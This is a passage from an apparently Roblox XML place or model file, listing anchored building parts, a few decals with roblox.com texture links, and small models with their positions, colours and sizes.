							<X>2</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX746">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1012</int>
						<CoordinateFrame name="CFrame">
							<X>46</X>
							<Y>2.20000005</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX747">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>5.80000019</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX748">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=17186996</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX749">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">9</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>8.80000019</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">hotel worker</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX750">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=17187009</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX751">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1012</int>
						<CoordinateFrame name="CFrame">
							<X>48</X>
							<Y>2.20000005</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX752">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>50</X>
							<Y>5.80000019</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX753">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>37</X>
						<Y>2.20000005</Y>
						<Z>70</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>3.60000014</Y>
						<Z>26</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX754">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">I&apos;m playing Super Mario Bros</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Humanoid" referent="RBX755">
					<Properties>
						<float name="Health">0</float>
						<float name="MaxHealth">0</float>
						<string name="Name">Humanoid</string>
						<float name="WalkSpeed">16</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX756">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>45.5</X>
							<Y>7.80000019</Y>
							<Z>72.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX757">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX758">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>44.5</X>
							<Y>5.80000019</Y>
							<Z>64.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX759">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>46.5</X>
							<Y>5.80000019</Y>
							<Z>64.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX760">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>48.5</X>
							<Y>5.80000019</Y>
							<Z>64.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX761">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>44.5</X>
							<Y>5.80000019</Y>
							<Z>63.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX762">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>49.5</X>
							<Y>5.80000019</Y>
							<Z>64</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX763">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>4.60000038</Y>
							<Z>63</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX764">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>46.5</X>
							<Y>5.80000019</Y>
							<Z>62.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
